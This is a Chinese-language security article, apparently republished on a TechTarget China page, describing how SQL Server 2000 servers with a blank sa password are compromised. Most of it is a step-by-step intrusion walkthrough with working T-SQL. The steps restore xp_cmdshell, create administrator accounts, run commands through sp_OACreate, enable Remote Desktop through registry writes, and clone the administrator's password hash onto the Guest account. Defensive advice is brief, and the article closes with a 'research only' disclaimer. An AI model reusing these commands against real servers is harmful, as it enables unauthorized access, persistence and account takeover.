SQL Server中存储过程的安全问题(附图)

 
   | |

导读:SQLServer是一个c/s模式的强大的关系型数据库管理系统,应用领域十分广泛。本文从SQL Server存储过程的安全问题入手,详细讲解了SQLServer的入侵的攻与防方面的知识。

关键词:SQL Server存储过程安全 Sa xp_cmdshell SQLCMD 权限

 
正在加载数据...

  SQLServer是一个c/s模式的强大的关系型数据库管理系统,使用的是SQL语言。是一种应用领域十分广泛的网络数据库。对网络安全了解的朋友应该知道,SQLServer的入侵最常见的就是利用Sa空密码入侵了,网上关于这种入侵的文章多如牛毛,有些这样的文章个人认为讲解的并不详细,甚至有些是错误的,所以经常能在一些安全论坛看到类似的提问,而且有些也得不到很好的解答,下面我将详细介绍我的一些经验和总结,与大家分享。

  首先让我们来了解一下SQLServer中的存储过程。存储过程是存储在SQLServer中的预先写好的SQL语句集合。存储过程分为三类:系统提供的存储过程,用户定义的存储过程和扩展存储过程。系统提供的存储过程是在安装SQLServer时创建的存储过程,名字以“sp_”开头。用户定义的存储过程是用SQLServer的使用者编写的存储过程。扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,与一般动态链接库不同的是它们直接运行在SQLServer分配的内存地址内,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令。

  上面了解了什么是存储过程,我们再来看一下什么是Sa。Sa是SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。这样你应该明白为什么得到Sa,就可以得到系统的最高权限了吧。可是,有的时候情况并不是这样,下面我们以在局域网中的SQLServer入侵介绍一下SQLServer的攻与防。

  使用扫描工具扫描得到一个sa为空的机器,使用SQL Exec连接上,发现命令并不能用(如图1)。

SQL Server中存储过程的安全问题1

  怀疑是扩展存储过程xp_cmdshell在查询分析器里删除,

  语句为:exec sp_dropextendedproc ’xp_cmdshell’,于是打开自己机的SQLServer的查询分析器,连上对方的SQLServer,对对方的xp_cmdshell进行恢复,语句为:

  exec sp_addextendedproc ’xp_cmdshell’, ’Xplog70.dll’ (如图2)。

SQL Server中存储过程的安全问题2

  然后再用SQL Exec运行SQLCMD命令,发现SQLCMD可以使用了(如图3)。

SQL Server中存储过程的安全问题3

  我们再来在查询分析器里添加一个管理员用户(如图4),语句为

exec master..xp_cmdshell ’net user ceshi 98765321 /add’

exec master..xp_cmdshell ’net localgroup administrators ceshi /add’,不用多做解释了吧,ceshi是管理员,密码为98765321。

SQL Server中存储过程的安全问题4

  命令执行完后,我们来看一下结果,语句为:

exec master..xp_cmdshell ’net user’ (如图5)

SQL Server中存储过程的安全问题5

  有了管理员权限,我们使用流光的种植者上传一个可以开3389的bat文件,然后在对方机器运行,bat文件运行后,会使对方机器重新启动,待对方重新启动后,我们就可以用3389连接器连接了,再此不多做介绍。

  或许你已经想到了,如果把xplog70.dll删除,扩展存储过程xp_cmdshell就运行不了了,也就不会被别人轻易入侵了。当我们需要的时候再把这个文件拷到C:\Program Files\Microsoft SQL Server\80\Tools\Binn就可以了,xplog70.dll在安装光盘上的位置为X86\BINN。


  SQL Server2000还有很多强大的存储过程,还有没有可能别入侵者利用的呢?下面我们来看一下,还有哪些存储过程比较危险:


  sp_Msgetversion(这个存储过程返回Microsoft SQL Server的版本号),使用方法:

  EXEC master..sp_MSgetversion

  更常用的方法获得版本信息(这种方法可以获得更多附加信息),是使用下列语句:

  SELECT @@version

  xp_dirtree(这个存储过程用来列出对应目录下的文件和文件夹),使用方法(要获得 C:\aaa的文件列表):

  EXEC master..xp_dirtree ’C:\aaa’

  xp_enumerrorlogs(这个扩展过程返回所有的错误日志和它们的最后更新日期),使用方法:

  EXEC master..xp_enumerrorlogs


  xp_fixeddrives(这个扩展存储过程很有用,可以列出所有硬盘分区各自的可用空间),使用方法:

  EXEC master..xp_fixeddrives

  xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值),使用方法(得到机器名):

DECLARE @test varchar(50)

EXEC master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’,

@key=’system\controlset001\control\computername\computername’,

@value_name=’computername’,

@value=@test OUTPUT

SELECT @test

  xp_regdeletekey (这个扩展存储过程可以删除注册表指定的键,使用时要谨慎),使用方法(从注册表里删除HKEY_LOCAL_MACHINE\SOFTWARE\aaa):

EXEC master..xp_regdeletekey

@rootkey=’HKEY_LOCAL_MACHINE’,

@key=’SOFTWARE\aaa’


  xp_regdeletevalue(这个扩展存储过程可以删除注册表指定的键里指定的值),使用方法(要删除键值HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):

EXEC master..xp_regdeletevalue

@rootkey=’HKEY_LOCAL_MACHINE’,

@key=’SOFTWARE\aaa’,

@value_name=’aaaValue’


  xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb):

EXEC master..xp_regwrite

@rootkey=’HKEY_LOCAL_MACHINE’,

@key=’SOFTWARE\aaa’,

@value_name=’aaaValue’,

@type=’REG_SZ’,

@value=’bbb’

  xp_enumdsn(这个扩展存储过程可以得到ODBC中的用户数据源),使用方法:

EXEC master..xp_enumdsn

  有了上面这些操作注册表的扩展存储过程,入侵者就可以做很多事情了,如果被入侵机器的3389没有被打开,入侵者就可以向被入侵机器的注册表里写入开3389的键值,只要等被入侵机器重新启动后,入侵者就可以连接3389端口了,具体要写哪些键值,网上有很多介绍,大家可以找一下,需要注意的是在查询分析器里运行xp_regwrite存储过程时(注意一条一条运行),按照下面这种简单的形式运行:

  xp_regwrite ’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Services\TermDD’,’start’,’reg_dword’,2


  等被入侵机器重新启动后,就可以连接3389端口了。 还有OLE相关的一系列存储过程,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,这些存储过程和xp_cmdshell一样危险,使用方法:


  DECLARE @shell INT EXEC SP_OACREATE ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’c:\WINNT\system32\cmd.exe /c net user test 1234 /add’--

  这样对方系统增加了一个用户名为test,密码为1234的用户,再执行:

DECLARE @shell INT EXEC SP_OACREATE ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add ’--

  用户test,被加入管理员组。

  再来看一下如何克隆管理员帐号,把已经停用的GUEST用户启动起来,在查询分析器里运行下面的语句:

xp_regread ’HKEY_LOCAL_MACHINE’,’SAM\SAM\Domains\Account\Users\000001F4’,’F’

  可以得到系统administrator的加密密码,然后复制(如图6),

SQL Server中存储过程的安全问题6

  然后再执行:

  xp_regwrite ’HKEY_LOCAL_MACHINE’, ’SAM\SAM\Domains\Account\Users\000001F5’, ’F’,’reg_binary’,0x…(上一步得到的那串字符)

  如果被入侵机器开了3389服务,那入侵者就可以用GUEST登陆了,密码为空,而且Guest的桌面与administrator的完全一样。在这里有个问题需要讲一下,有时候在执行xp_regread ’HKEY_LOCAL_MACHINE’,’SAM\SAM\Domains\Account\Users\000001F4’,’F’

时,出现的提示是:

  错误:

  消息 22001,级别 1,状态 22001

  RegOpenKeyEx() returned error 2, ’系统找不到指定的文件。’


 (所影响的行数为 0 行)

  开始以为是SQL Server版本的问题,后来经过测试发现,此问题存在在各个版本的SQL SERVER,个人认为可能与对方系统当前用户对’HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4’的访问权限有关,如果当前的用户在本地计算机无法访问该注册表项,就会出现这个提示,我将继续研究,解决这个问题,也希望知道原因和解决办法的朋友给予指点,谢谢。


  以前看过SQL大侠写的一篇《一次简单的SQL Server的安全测试》文章,主要内容是IIS危险虚拟目录结合Sa为空的一次入侵测试,让我们意识到尽管我们对SQL Server做了一定的安全设置,可是功能强大的SQL Server给使用者提供方便的同时,也有可能被入侵者利用。所以最安全的方法就是给你的Sa和系统用户起一个健壮的口令,以不变应万变。

  以上两台机器的测试环境均为win2000高级服务器版(sp4)+SQLServer2000(sp3)

  本文方法仅供研究,请勿用于破坏上,由本文方法造成任何损失,由使用者负责,本人概不负责。

 
来源:安全中国    
 
 
 
 
 

数据库安全

 
在你认为已经很好地控制了SQL Server安全性时,往往问题正在悄悄出现。有人会在网络中的某个区域悄然进入你已经遗忘或根本不知道的SQL Server系统。
 
Web开发者经常使用自定义代码来实现动态网站功能,但这种代码存在风险,会使服务器带有大量漏洞,尤其是把Web应用程序作为后台数据库交互接口时这一问题将……
 
尽管DAM被大肆炒作,但它仅能对数据安全起到微弱的影响,最终工作需要交由数据库供应商来完成,DAM市场的炒作程度远远超过实际客户的需求及对该市场的预估……
 
本文对几款好用的SQL Server密码破解工具进行了详细的介绍,其中包括了SQLPing3,Cain&Abel,NGSSQLCrack,AppDetective Pro和Advanced SQL Password Recovery。
 
对于数据库补丁管理工作来说,什么样的流程才最佳呢?在本次的Techtarget专家答疑中,我们请到了Michael Cobb专家为我们解答数据库补丁更新的最佳实践方式。

热门技术手册排行

 

虚拟专用网络 VPN(Virtual Private Network )能通过公用网络Internet建立一个临时的、安全的连接,是一条穿过混乱的公用网络的安全、稳定的隧道。VPN是对企业内部网的扩展,它可以帮助远程用户、公司分支机构、商业伙伴及供应商同公司的内部网建立可信的安全连接,并保证数据的安全传输。许多公司使用VPN向公司外部的员工提供企业网络接入。本手册将围绕VPN进行全方位的讲解。

 

“最佳实践”来自英文Best Practice。维基百科对最佳实践的定义是一个管理学概念,认为存在某种技术、方法、过程、活动或机制可以使生产或者管理实践的结果达到最优,并减少出错的可能性。学习应用IT企业安全的最佳实践,其实就是借鉴别人成功的经验,让自己在保护企业安全方面少走弯路。在本手册中,将集合IT业内关于企业安全的最佳实践,并不断更新,以期在企业安全防护方面提供帮助。

 

虚拟化是数据中心的流行技术,它起源于20世纪60年代。它是把昂贵的计算机资源的利用最大化的方式。典型的服务器的利用率不足40%,虚拟化可以更有效地利用技术资源,并节约固定费用。虚拟化的最大优势是,它允许管理员从中央区域为个人电脑和客户设备提供软件。虚拟化不需要管理员对一般任务进行分别考虑。服务器的关机可以带动多用户的关机。

 

黑客策略和技术一直都在进步。黑客还在继续开发新的攻击工具和黑客方法,来恶意访问系统并攻击你的网络,这样企业在开发和采取恰当的方法防御黑客的攻击就变得非常困难。《黑客攻击技术和策略》的技术指南将介绍黑客的内心想法,并帮助你理解恶意攻击者的动机,也提供了一些黑客攻击具体信息的方式,采用的方法以及企业应该采用的保护敏感数据的方法。这里将会提供大量黑客技术和策路的信息,例如允许黑客获取网络系统或者文件访问的系统特征探测。

 

假如你正在寻找一个漏洞扫描器,你可能已经遇到了大量的非常昂贵的商业解决方案,这些方案都有一长串的性能和优点。不幸的是,如果你和我们之中大部分人的情况一样的话,你一般根本没有运行这些奇特的系统的预算。你可能已经退而求其次,转向考虑使用像SATAN或Saint的免费工具。然而,你可能觉得使用这些工具是一种折衷的办法,因为它们的性能设置不能与商业解决方案相比。这时候你就应该学会使用Nessus! 2005年12月Nessus背后的公司Tenable Network Security Inc.发布了Nessus 3,引进了对该产品的全面检查。在写这篇文章时候的最近版本,Nessus 3.2是在2008年3月发布的。Nessus现在可以在多种平台上使用,包括Windows、各种版本的Linux、FreeBSD、Solaris和Mac OS X。以下是这次Nessus3中的重大变化: 下面将介绍如何使用Nessus工具以及Nessus工具的更新。

查看更多
 
 

登录TechTarget中国

关闭
本服务仅向TechTarget中国的会员开放,请登录或立即免费注册
登录Email
请输入您的登录Email
密码
下次自动登录